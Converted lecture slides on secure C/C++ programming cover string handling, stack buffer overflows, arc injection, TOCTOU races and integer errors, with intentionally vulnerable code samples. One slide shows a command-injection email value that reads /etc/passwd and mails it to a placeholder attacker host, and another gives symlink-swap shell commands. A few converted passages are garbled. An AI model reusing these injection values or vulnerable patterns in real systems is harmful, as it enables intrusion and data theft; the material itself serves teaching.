Vulnerability related Integers. String Buffer overflow Race Conditions,
Objectives

- Understand/explain issues related to programming related vulnerabilities and buffer overflow
  - String related
  - Integer related
  - Race Conditions
Issues

- Strings
  - Background and common issues
- Common String Manipulation Errors
- String Vulnerabilities
- Mitigation Strategies
Strings

- Comprise most of the data exchanged between an end user and a software system
  - command-line arguments
  - environment variables
  - console input
- Software vulnerabilities and exploits are caused by weaknesses in
  - string representation
  - string management
  - string manipulation
C-Style Strings

- Strings are a fundamental concept in software engineering, but they are not a built-in type in C or C++.

```
hello\0
```

*length*

- C-style strings consist of a contiguous sequence of characters terminated by and including the first null character.
  - A pointer to a string points to its initial character.
  - String *length* is the number of bytes preceding the null character.
  - The string *value* is the sequence of the values of the contained characters, in order.
  - The number of bytes required to store a string is the number of characters plus one (x the size of each character)
Common String Manipulation Errors

- Common errors include
  - Unbounded string copies
  - Null-termination errors
  - Truncation
  - Write outside array bounds
  - Off-by-one errors
  - Improper data sanitization
Unbounded String Copies

Occur when data is copied from an unbounded source to a fixed length character array

```c
1. int main(void) {
2.     char Password[80];
3.     puts("Enter 8 character password: ");
4.     gets(Password);
5. }
```

```c
1. #include <iostream.h>
2. int main(void) {
3.     char buf[12];
4.     cin >> buf;
5.     cout<<"echo: "<<buf<<endl;
6. }
```
Simple Solution

Test the length of the input using `strlen()` and dynamically allocate the memory

```c
1. int main(int argc, char *argv[]) {
2.   char *buff = (char *)malloc(strlen(argv[1])+1);
3.   if (buff != NULL) {
4.     strcpy(buff, argv[1]);
5.     printf("argv[1] = %s.\n", buff);
6.   }
7.   else {
8.     /* Couldn't get the memory - recover */
9.     }
10.   return 0;
11. }
```
Null-Termination Errors

Another common problem with C-style strings is a failure to properly null terminate

```c
int main(int argc, char* argv[]) {
    char a[16];
    char b[16];
    char c[32];

    strncpy(a, "0123456789abcdef", sizeof(a));
    strncpy(b, "0123456789abcdef", sizeof(b));
    strncpy(c, a, sizeof(c));
}
```

Neither `a[]` nor `b[]` are properly terminated
String Truncation

- Functions that restrict the number of bytes are often recommended to mitigate against buffer overflow vulnerabilities
  - `strncpy()` instead of `strcpy()`
  - `fgets()` instead of `gets()`
  - `snprintf()` instead of `sprintf()`

- Strings that exceed the specified limits are truncated

- Truncation results in a loss of data, and in some cases, to software vulnerabilities
Improper Data Sanitization

- An application inputs an email address from a user and writes the address to a buffer [Viega 03]

  ```c
  sprintf(buffer,
           "\(\text{\bin/mail }%s < \text{/tmp/email}\),
            addr
      );
  ```

- The buffer is then executed using the `system()` call.
- The risk is, of course, that the user enters the following string as an email address:

  ```
  bogus@addr.com; cat /etc/passwd | mail some@badguy.net
  ```

What is a Buffer Overflow?

- A buffer overflow occurs when data is written outside of the boundaries of the memory allocated to a particular data structure.
Buffer Overflows

- Caused when buffer boundaries are neglected and unchecked
- Buffer overflows can be exploited to modify a
  - variable
  - data pointer
  - function pointer
  - return address on the stack
Smashing the Stack

- This is an important class of vulnerability because of their frequency and potential consequences.
  
- Occurs when a buffer overflow overwrites data in the memory allocated to the execution stack.
  
- Successful exploits can overwrite the return address on the stack allowing execution of arbitrary code on the targeted machine.
Program Stacks

- A program stack is used to keep track of program execution and state by storing
  - return address in the calling function
  - arguments to the functions
  - local variables (temporary)

- The stack is modified
  - during function calls
  - function initialization
  - when returning from a subroutine
Stack Segment

- The stack supports nested invocation calls
- Information pushed on the stack as a result of a function call is called a frame

```c
b() { ... } ;

a() {
    b();
}

main() {
    a();
}
```

A stack frame is created for each subroutine and destroyed upon return.
Stack Frames

- The stack is used to store
  - return address in the calling function
  - actual arguments to the subroutine
  - local (automatic) variables

- The address of the current frame is stored in a register (EBP on Intel architectures)

- The frame pointer is used as a fixed point of reference within the stack
Subroutine Calls

- function(4, 2);
  
  push 2
  push 4
  call function (411A29h)

Push 1st arg on stack
Push 2nd arg on stack
Push the return address on stack and jump to address
draw picture of stack on right and put text in action area above registers

also, should create gdb version of this

Robert C. Seacord, 7/6/2004
void function(int arg1, int arg2) {
    push ebp
    Save the frame pointer
    mov ebp, esp
    Frame pointer for subroutine is set to current stack pointer
    sub esp, 44h
    Allocates space for local variables
}
Subroutine Return

- `return();`

- `mov esp, ebp`

- `pop ebp`

- `ret`

- **Restore the stack pointer**

- **Restore the frame pointer**

- **Pops return address off the stack and transfers control to that location**
Return to Calling Function

```
function(4, 2);
push 2
push 4
call function (411230h)
add esp,8
```

[Diagram showing stack operations with a note: Restore stack pointer]
bool IsPasswordOK(void) {
    char Password[12]; // Memory storage for pwd
    gets(Password);    // Get input from keyboard
    if (!strcmp(Password,"goodpass")) return(true); // Password Good
    else return(false); // Password Invalid
}

void main(void) {
    bool PwStatus;       // Password Status
    puts("Enter Password:"); // Print
    PwStatus=IsPasswordOK(); // Get & Check Password
    if (PwStatus == false) {
        puts("Access denied"); // Print
        exit(-1);              // Terminate Program
    }
    else puts("Access granted"); // Print
}
Stack Before Call to
IsPasswordOK()

```
puts("Enter Password:");
PwStatus=IsPasswordOK();
if (PwStatus==false) {
    puts("Access denied");
    exit(-1);
}
else puts("Access granted");
```

Stack

<table>
<thead>
<tr>
<th>Caller EBP – Frame Ptr OS (4 bytes)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Return Addr of main – OS (4 Bytes)</td>
</tr>
<tr>
<td>...</td>
</tr>
</tbody>
</table>
## Stack During `IsPasswordOK()`

### Code

```c
bool IsPasswordOK(void) {
    char Password[12];
    gets(Password);
    if (!strcmp(Password, "goodpass"))
        return(true);
    else return(false)
}
```

### Stack

<table>
<thead>
<tr>
<th>Storage for Password (12 Bytes)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Caller EBP – Frame Ptr main</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>(4 bytes)</td>
</tr>
<tr>
<td>Return Addr Caller – main</td>
</tr>
<tr>
<td>(4 Bytes)</td>
</tr>
<tr>
<td>Storage for PwStatus (4 bytes)</td>
</tr>
<tr>
<td>Caller EBP – Frame Ptr OS</td>
</tr>
<tr>
<td>(4 bytes)</td>
</tr>
<tr>
<td>Return Addr of main – OS</td>
</tr>
<tr>
<td>(4 Bytes)</td>
</tr>
<tr>
<td>...</td>
</tr>
</tbody>
</table>

### Call

- `puts("Enter Password: ");`
- `PwStatus = IsPasswordOK();`
- `if (PwStatus == false) {`
  - `puts("Access denied");`
  - `exit(-1);`
- `else puts("Access granted");`

### Note:
The stack grows and shrinks as a result of function calls made by `IsPasswordOK(void)`.
puts("Enter Password:");
PwStatus = IsPasswordOK();
if (PwStatus == false) {
    puts("Access denied");
    exit(-1);
}
else puts("Access granted");
The Buffer Overflow

- What happens if we input a password with more than 11 characters?

* CRASH *
The Buffer Overflow

```c
bool IsPasswordOK(void) {
    char Password[12];
    gets(Password);
    if (!strcmp(Password,"badprog"))
        return(true);
    else return(false)
}
```

The return address and other data on the stack is overwritten because the memory space allocated for the password can only hold a maximum 11 character plus the NULL terminator.
The Vulnerability

- A specially crafted string “1234567890123456*j►*!” produced the following result.

What happened?
What Happened?

- “1234567890123456j►*!” overwrites 9 bytes of memory on the stack, changing the callers return address skipping lines 3-5 and starting execution at line 6.

<table>
<thead>
<tr>
<th>Statement</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 puts(&quot;Enter Password: &quot;);</td>
</tr>
<tr>
<td>2 PwStatus=ISPasswordOK();</td>
</tr>
<tr>
<td>3 if (PwStatus == true)</td>
</tr>
<tr>
<td>4 puts(&quot;Access denied&quot;);</td>
</tr>
<tr>
<td>5 exit(-1);</td>
</tr>
<tr>
<td>6 }</td>
</tr>
<tr>
<td>7 else puts(&quot;Access granted&quot;);</td>
</tr>
</tbody>
</table>

Stack

- Storage for Password (12 Bytes)
  - “123456789012”
- Caller EBP - Frame Ptr main (4 bytes)
  - “3456”
- Return Addr Caller - main (4 Bytes)
  - “j►*!” (return to line 7 was line 3)
- Storage for PwStatus (4 bytes)
  - “\0”
- Caller EBP - Frame Ptr OS (4 bytes)
- Return Addr of main - OS (4 Bytes)

Note: This vulnerability also could have been exploited to execute arbitrary code contained in the input string.
Arc Injection (return-into-libc)

- Arc injection transfers control to code that already exists in the program’s memory space.
  - Refers to how exploits insert a new arc (control-flow transfer) into the program’s control-flow graph as opposed to injecting code.
  - Can install the address of an existing function (such as `system()` or `exec()`), which can be used to execute programs on the local system.
  - Even more sophisticated attacks possible using this technique.
Vulnerable Program

1. `#include <string.h>`

2. `int get_buff(char *user_input) {
3.     char buff[4];

4.     memcpy(buff, user_input, strlen(user_input)+1);
5.     return 0;
6. }

7. `int main(int argc, char *argv[]) {
8.     get_buff(argv[1]);
9.     return 0;
10. }`
Exploit

- Overwrites return address with address of existing function
- Creates stack frames to chain function calls.
- Recreates original frame to return to program and resume execution without detection
Stack Before and After Overflow

**Before**

- esp → buff[4]
- esp → ebp (main)
- esp → return addr(main)
- esp → stack frame main

**After**

- esp → buff[4]
- esp → ebp (frame 2)
- esp → f() address
- esp → (leave/ret)address
- esp → f() argptr
- esp → "f() arg data"
- esp → ebp (frame 3)
- esp → g() address
- esp → (leave/ret)address
- esp → g() argptr
- esp → "g() arg data"
- esp → ebp (orig)
- esp → return addr(main)

mov esp, ebp
pop ebp
ret

Frame 1
Frame 2
Original Frame
get_buff()  Returns

mov esp, ebp
pop ebp
ret

esp  →  buff[4]
      →  ebp (frame 2)
          →  f() address
          →  leave/ret address
          →  f() argptr
          →  "f() arg data"
      →  ebp (frame 3)
          →  g() address
          →  leave/ret address
          →  g() argptr
          →  "g() arg data"
      →  ebp (orig)
          →  return addr(main)
get_buff() Returns

```
mov esp, ebp
pop ebp
ret
```

**Frame 1**
- `buff[4]`
- `ebp (frame 2)`
- `f() address`
- `leave/ret address`
- `f() argptr`
- "f() arg data"
- `ebp (frame 3)`
- `g() address`
- `leave/ret address`
- `g() argptr`
- "g() arg data"
- `ebp (orig)`
- `return addr(main)`

**Frame 2**
- `Original Frame`

**Frame 3**
- `ebp (orig)`
- `return addr(main)`
get_buff() Returns

mov esp, ebp
pop ebp
ret
get_buff() Returns

mov esp, ebp
pop ebp
ret

ret instruction transfers control to f()
\textbf{f()} Returns

\begin{itemize}
\item mov esp, ebp
\item pop ebp
\item ret
\end{itemize}

\textbf{f()} returns control to leave / return sequence
f() Returns

mov esp, ebp
pop ebp
ret
Returns

mov esp, ebp
pop ebp
ret

buff[4]
ebp (frame 2)
f() address
leave/ret address
f() argptr
"f() arg data"
ebp (frame 3)
g() address
leave/ret address
g() argptr
"g() arg data"
ebp (orig)
return addr(main)
\( f() \) Returns

```
mov esp, ebp
pop ebp
ret
```

\( f() \) Returns

\( \text{buff}[4] \)
- `ebp` (frame 2)
- "\( f() \) address"
- "\( f() \) argptr"
- "\( f() \) arg data"
- `ebp` (frame 3)
- "\( g() \) address"
- "\( g() \) argptr"
- "\( g() \) arg data"
- `ebp` (orig)
- `return addr(main)`

\( \text{ret instruction transfers control to } g() \)
$g()$ Returns

`mov esp, ebp`  
`pop ebp`  
`ret`

$g()$ returns control to leave / return sequence
`g()` Returns

```
mov esp, ebp
pop ebp
ret
```
The code snippet shown in the diagram illustrates the call stack for a function `g()`, which returns a function `f()`. The stack frame for `g()` is pushed onto the stack, followed by the stack frame for `f()`. The `mov esp, ebp` instruction saves the original value of `esp` (frame 1). The `mov ebp, esp` instruction then saves the current `esp` value (frame 2). The `push ebp` instruction saves the current `ebp` value before the function call. The `call f()` instruction indicates the call to `f()`. The stack frame for `f()` is then pushed onto the stack (frame 3). Inside `f()`, the `push ebp` instruction saves the current `ebp` value, followed by the `mov ebp, esp` instruction to save the current `esp` value. The `push argptr` instruction saves the argument pointer for `f()`. The `leave` instruction clears the `eax`, `ecx`, `edx`, and `ebx` registers, and then the `ret` instruction returns to the calling function. The `g()` function's return address is stored on the stack, and the `ebp` (original) value is restored, indicating the completion of the function call.
g() Returns

mov esp, ebp
pop ebp
ret

buff[4]
ebp (frame 2)
f() address
leave/ret address
"f() arg data"
ebp (frame 3)
g() address
leave/ret address
g() argptr
"g() arg data"
ebp (orig)
return addr(main)
Why is This Interesting/dangerous?

- An attacker can chain together multiple functions with arguments
- “Exploit” code pre-installed in code segment
  - No code is injected
  - Memory based protection schemes cannot prevent arc injection
  - Doesn’t require larger overflows
- The original frame can be restored to prevent detection
Race conditions
Concurrency and Race condition

- Concurrency
  - Execution of Multiple flows (threads, processes, tasks, etc)
  - If not controlled can lead to nondeterministic behavior

- Race conditions
  - Software defect/vulnerability resulting from unanticipated execution ordering of concurrent flows
    - E.g., two people simultaneously try to modify the same account (withdrawing money)
Race condition

- Necessary properties for a race condition
  - Concurrency property
    - At least two control flows executing concurrently
  - Shared object property
    - The concurrent flows must access a common shared race object
  - Change state property
    - At least one control flow must alter the state of the race object
Race window

- A code segment that accesses the race object in a way that opens a window of opportunity for race condition
  - Sometimes referred to as critical section

- Traditional approach
  - Ensure race windows do not overlap
    - Make them mutually exclusive
    - Language facilities – *synchronization primitives (SP)*
  - **Deadlock** is a risk related to SP
    - Denial of service
Time of Check, Time of Use

- Source of race conditions
  - Trusted (tightly coupled threads of execution) or untrusted control flows (separate application or process)

- ToCTToU race conditions
  - Can occur during file I/O
  - Forms a RW by first *checking* some race object and then *using* it
Example

```c
int main(int argc, char *argv[]) {
    FILE *fd;
    if (access("/some_file", W_OK) == 0) {
        printf("access granted.\n");
        fd = fopen("/some_file", "wb+");
        /* write to the file */
        fclose(fd);
    } else {
        err(1, "ERROR");
    }
    return 0;
} Figure 7-1
```

- Assume the program is running with an effective UID of root
TOCTOU

- Following shell commands during RW
  ```
  rm /some_file
  ln /myfile /some_file
  ```

- Mitigation
  - Replace access() call by code that does the following
    - Drops the privilege to the real UID
    - Open with fopen() &
    - Check to ensure that the file was opened successfully
Integer Agenda

- Integer Security
- Vulnerabilities
- Mitigation Strategies
- Notable Vulnerabilities
- Summary
Integer Security

- Integers represent a growing and underestimated source of vulnerabilities in C and C++ programs.
- Integer range checking has not been systematically applied in the development of most C and C++ software.
  - security flaws involving integers exist
  - a portion of these are likely to be vulnerabilities
- A software vulnerability may result when a program evaluates an integer to an unexpected value.
Integer Representation

- Signed-magnitude
- One’s complement
- Two’s complement
- These integer representations vary in how they represent negative numbers
Signed-magnitude Representation

- Uses the high-order bit to indicate the sign
  - 0 for positive
  - 1 for negative
- Remaining low-order bits indicate the magnitude of the value

Signed magnitude representation of +41 and -41
One’s Complement

- One’s complement replaced signed magnitude because the circuitry was too complicated.
- Negative numbers are represented in one’s complement form by complementing each bit:

  0 0 1 0 1 0 0 1
  ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓
  1 1 0 1 0 1 1 0

- Each 0 is replaced with a 1
- Each 1 is replaced with a 0
- Even the sign bit is reversed
Two’s Complement

- The two’s complement form of a negative integer is created by adding one to the one’s complement representation.

  \[
  \begin{align*}
  0 & 0 & 1 & 0 & 1 & 0 & 0 & 1 \\
  + 1 & = & 1 & 1 & 0 & 1 & 0 & 1
  \end{align*}
  \]

- Two’s complement representation has a single (positive) value for zero.
- The sign is represented by the most significant bit.
- The notation for positive integers is identical to their signed-magnitude representations.
Signed and Unsigned Types

Integers in C and C++ are either signed or unsigned.

Signed integers
- represent positive and negative values.
- In two’s complement arithmetic, a signed integer ranges from \(-2^{n-1}\) through \(2^{n-1}-1\).

Unsigned integers
- range from zero to a maximum that depends on the size of the type
- This maximum value can be calculated as \(2^n-1\), where \(n\) is the number of bits used to represent the unsigned type.
Representation

4-bit two's complement representation

Signed Integer

Unsigned Integer
Example Integer Ranges

signed char

-128 0 127

unsigned char

0 127

short

0 255

-32768 0 32767

unsigned short

0 65535
Integer Conversions

- Type conversions
  - occur explicitly in C and C++ as the result of a cast or
  - implicitly as required by an operation.

- Conversions can lead to lost or misinterpreted data.
  - Implicit conversions are a consequence of the C language ability to perform operations on mixed types.

- C99 rules define how C compilers handle conversions
  - integer promotions
  - integer conversion rank
  - usual arithmetic conversions
Integer Promotion Example

- Integer promotions require the promotion of each variable (c1 and c2) to int size
  
  ```
  char c1, c2;
  c1 = c1 + c2;
  ```

- The two ints are added and the sum truncated to fit into the char type.

- Integer promotions avoid arithmetic errors from the overflow of intermediate values.
Implicit Conversions

1. `char cresult, c1, c2, c3;`
2. `c1 = 100;`
3. `c2 = 90;`
4. `c3 = -120;`
5. `cresult = c1 + c2 + c3;`

The sum of `c1` and `c2` exceeds the maximum size of `signed char`.
However, `c1`, `c1`, and `c3` are each converted to integers and the overall expression is successfully evaluated.

The sum is truncated and stored in `cresult` without a loss of data.
The value of `c1` is added to the value of `c2`.
Integer Conversion Rank & Rules

- Every integer type has an integer conversion rank that determines how conversions are performed.
  - The rank of a signed integer type is > the rank of any signed integer type with less precision.
    - rank of \([\text{long long int}] > \text{long int} > \text{int} > \text{short int} > \text{signed char}]\).
  - The rank of any unsigned integer type is equal to the rank of the corresponding signed integer type.
Unsigned Integer Conversions

Conversions of smaller unsigned integer types to larger unsigned integer types is always safe typically accomplished by zero-extending the value.

When a larger unsigned integer is converted to a smaller unsigned integer type the larger value is truncated low-order bits are preserved.
When unsigned integer types are converted to the corresponding signed integer type:
- the bit pattern is preserved so no data is lost
- the high-order bit becomes the sign bit
- If the sign bit is set, both the sign and magnitude of the value changes.
<table>
<thead>
<tr>
<th>From unsigned</th>
<th>To</th>
<th>Method</th>
</tr>
</thead>
<tbody>
<tr>
<td>char</td>
<td>char</td>
<td>Preserve bit pattern; high-order bit becomes sign bit</td>
</tr>
<tr>
<td>char</td>
<td>short</td>
<td>Zero-extend</td>
</tr>
<tr>
<td>char</td>
<td>long</td>
<td>Zero-extend</td>
</tr>
<tr>
<td>char</td>
<td>unsigned short</td>
<td>Zero-extend</td>
</tr>
<tr>
<td>char</td>
<td>unsigned long</td>
<td>Zero-extend</td>
</tr>
<tr>
<td>short</td>
<td>char</td>
<td>Preserve low-order byte</td>
</tr>
<tr>
<td>short</td>
<td>short</td>
<td>Preserve bit pattern; high-order bit becomes sign bit</td>
</tr>
<tr>
<td>short</td>
<td>long</td>
<td>Zero-extend</td>
</tr>
<tr>
<td>short</td>
<td>unsigned char</td>
<td>Preserve low-order byte</td>
</tr>
<tr>
<td>long</td>
<td>char</td>
<td>Preserve low-order byte</td>
</tr>
<tr>
<td>long</td>
<td>short</td>
<td>Preserve low-order word</td>
</tr>
<tr>
<td>long</td>
<td>long</td>
<td>Preserve bit pattern; high-order bit becomes sign bit</td>
</tr>
<tr>
<td>long</td>
<td>unsigned char</td>
<td>Preserve low-order byte</td>
</tr>
<tr>
<td>long</td>
<td>unsigned short</td>
<td>Preserve low-order word</td>
</tr>
</tbody>
</table>

Key: [Lost data] [Misinterpreted data]
Signed Integer Conversions 2

- When signed integers are converted to unsigned integers
  - bit pattern is preserved—no lost data
  - high-order bit loses its function as a sign bit
  - If the value of the signed integer is not negative, the value is unchanged.
  - If the value is negative, the resulting unsigned value is evaluated as a large, signed integer.
<table>
<thead>
<tr>
<th>From</th>
<th>To</th>
<th>Method</th>
</tr>
</thead>
<tbody>
<tr>
<td>char</td>
<td>short</td>
<td>Sign-extend</td>
</tr>
<tr>
<td>char</td>
<td>long</td>
<td>Sign-extend</td>
</tr>
<tr>
<td>char</td>
<td>unsigned char</td>
<td>Preserve pattern; high-order bit loses function as sign bit</td>
</tr>
<tr>
<td>char</td>
<td>unsigned short</td>
<td>Sign-extend to short; convert short to unsigned short</td>
</tr>
<tr>
<td>char</td>
<td>unsigned long</td>
<td>Sign-extend to long; convert long to unsigned long</td>
</tr>
<tr>
<td>short</td>
<td>char</td>
<td>Preserve low-order byte</td>
</tr>
<tr>
<td>short</td>
<td>long</td>
<td>Sign-extend</td>
</tr>
<tr>
<td>short</td>
<td>unsigned char</td>
<td>Preserve low-order byte</td>
</tr>
<tr>
<td>short</td>
<td>unsigned short</td>
<td>Preserve bit pattern; high-order bit loses function as sign bit</td>
</tr>
<tr>
<td>short</td>
<td>unsigned long</td>
<td>Sign-extend to long; convert long to unsigned long</td>
</tr>
<tr>
<td>long</td>
<td>char</td>
<td>Preserve low-order byte</td>
</tr>
<tr>
<td>long</td>
<td>short</td>
<td>Preserve low-order word</td>
</tr>
<tr>
<td>long</td>
<td>unsigned char</td>
<td>Preserve low-order byte</td>
</tr>
<tr>
<td>long</td>
<td>unsigned short</td>
<td>Preserve low-order word</td>
</tr>
<tr>
<td>long</td>
<td>unsigned long</td>
<td>Preserve pattern; high-order bit loses function as sign bit</td>
</tr>
</tbody>
</table>

**Key:**
- **Lost data**: Indicates lost data due to conversion.
- **Misinterpreted data**: Indicates data is misinterpreted due to conversion.
Signed Integer Conversion Example

1. unsigned int l = ULONG_MAX;
2. char c = -1;
3. if (c == l) {
4.   printf("-1 = 4,294,967,295?\n");
5. }
Usual Arithmetic Conversions

- If both operands have the same type no conversion is needed.
- If both operands are of the same integer type (signed or unsigned), the operand with the type of lesser integer conversion rank is converted to the type of the operand with greater rank.
- If the operand that has unsigned integer type has rank $\geq$ to the rank of the type of the other operand, the operand with signed integer type is converted to the type of the operand with unsigned integer type.
- If the type of the operand with signed integer type can represent all of the values of the type of the operand with unsigned integer type, the operand with unsigned integer type is converted to the type of the operand with signed integer type.
- Otherwise, both operands are converted to the unsigned integer type corresponding to the type of the operand with signed integer type.
Integer Error Conditions

- Integer operations can resolve to unexpected values as a result of an
  - overflow
  - sign error
  - truncation
An integer overflow occurs when an integer is increased beyond its maximum value or decreased beyond its minimum value.

Overflows can be signed or unsigned

A signed overflow occurs when a value is carried over to the sign bit.

An unsigned overflow occurs when the underlying representation can no longer represent a value.
Overflow Examples 1

- 1. int i;
- 2. unsigned int j;
- 3. i = INT_MAX;  // 2,147,483,647
- 4. i++;
- 5. printf("i = %d\n", i);
- 6. j = UINT_MAX;  // 4,294,967,295;
- 7. j++;
- 8. printf("j = %u\n", j);
Overflow Examples 2

- 9. `i = INT_MIN; // -2,147,483,648;`
- 10. `i--;`
- 11. `printf("i = %d\n", i);`

- 12. `j = 0;`
- 13. `j--;`
- 14. `printf("j = %u\n", j);`
Truncation Errors

- Truncation errors occur when
  - an integer is converted to a smaller integer type and
  - the value of the original integer is outside the range of the smaller type
- Low-order bits of the original value are preserved and the high-order bits are lost.
1. char cresult, c1, c2, c3;
2. c1 = 100;
3. c2 = 90;
4. cresult = c1 + c2;

Integers smaller than int are promoted to int or unsigned int before being operated on.
Integer Operations

- Integer operations can result in errors and unexpected value.
- Unexpected integer values can cause:
  - unexpected program behavior
  - security vulnerabilities
- Most integer operations can result in exceptional conditions.
Integer Addition

- Addition can be used to add two arithmetic operands or a pointer and an integer.
- If both operands are of arithmetic type, the **usual arithmetic conversions** are performed on them.
- Integer addition can result in an overflow if the sum cannot be represented in the number allocated bits.
An integer overflow condition occurs when the **min integer value** for 32-bit or 64-bit integers are **divided by -1**.

- In the 32-bit case, \(-2,147,483,648/-1\) should be equal to \(2,147,483,648\)

\[-2,147,483,648 \div -1 = -2,147,483,648\]

- Because \(2,147,483,648\) cannot be represented as a signed 32-bit integer the resulting value is incorrect
Vulnerabilities Section Agenda

Integer overflow

- Sign error
- Truncation
- Non-exceptional
Based on a real-world vulnerability in the handling of the comment field in JPEG files:

- Comment field includes a two-byte length field indicating the length of the comment, including the two-byte length field.
- To determine the length of the comment string (for memory allocation), the function reads the value in the length field and subtracts two.
- The function then allocates the length of the comment plus one byte for the terminating null byte.
Integer Overflow Example

1. void getComment(unsigned int len, char *src) {
   2. unsigned int size;
   3. size = len - 2;
   4. char *comment = (char *)malloc(size + 1);
   5. memcpy(comment, src, size);
   6. return;
   7. }

8. int _tmain(int argc, _TCHAR* argv[]) {
   9. getComment(1, "Comment ");
  10. return 0;
  11. }
Sign Error Example 1

1. `#define BUFF_SIZE 10`
2. `int main(int argc, char* argv[])`
3. `int len;`
4. `char buf[BUFF_SIZE];`
5. `len = atoi(argv[1]);`
6. `if (len < BUFF_SIZE){`
7. `memcpy(buf, argv[2], len);`
8. `}`
9. `}`
Mitigation

- Type range checking
- Strong typing
- Compiler checks
- Safe integer operations
- Testing and reviews